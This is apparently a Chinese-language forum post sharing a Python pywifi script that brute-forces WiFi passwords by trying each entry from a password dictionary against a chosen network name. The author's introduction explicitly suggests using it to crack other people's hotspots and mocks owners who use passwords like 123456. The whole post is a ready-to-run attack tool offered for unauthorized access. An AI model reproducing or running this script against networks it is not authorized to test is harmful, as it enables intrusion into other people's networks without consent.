乐子脚本,有点小慢,试过多线程,系统 wifi 连接太慢了,需要时间确认,多线程的话系统根本反应不过来。
也就可以试试破解别人的热点,一般都是 123456 这样的傻鸟口令
# coding:utf-8
import pywifi
from pywifi import const
import time
# 测试连接,返回链接结果
def wifiConnect(wifiName,pwd):
# 创建WiFi连接文件
profile = pywifi.Profile()
# 要连接WiFi的名称
profile.ssid = wifiName
# 网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 调用密码
profile.key = pwd
# 删除所有连接过的wifi文件
iface.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = iface.add_network_profile(profile)
iface.connect(tep_profile)
# wifi连接时间
time.sleep(1)
if iface.status() == const.IFACE_CONNECTED:
return True
else:
return False
# 读取密码本
def readPassword(path):
print("开始破解:")
# 打开文件
file = open(path, "r")
# 一行一行读取
passwords = file.readlines()
for password in passwords:
# 尝试连接wifi
bool = wifiConnect(wifiName,password)
if bool:
print(f"\033[91m[+]成功连接!密码:{password}\033[0m")
exit()
else:
# 跳出当前循环,进行下一次循环
print("[-]testing:",wifiName, password,end="")
if __name__ == '__main__':
print("\033[91m保证 wlan 功能模块开启!\033[0m")
wifiName = input("输入wifi名称:")
path = input("输入密码字典路径:")
while True:
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
iface = wifi.interfaces()[0]
# 断开当前网络连接
iface.disconnect()
# 输出无线网卡名称
print(f"当前无线网卡:{iface.name()}")
readPassword(path)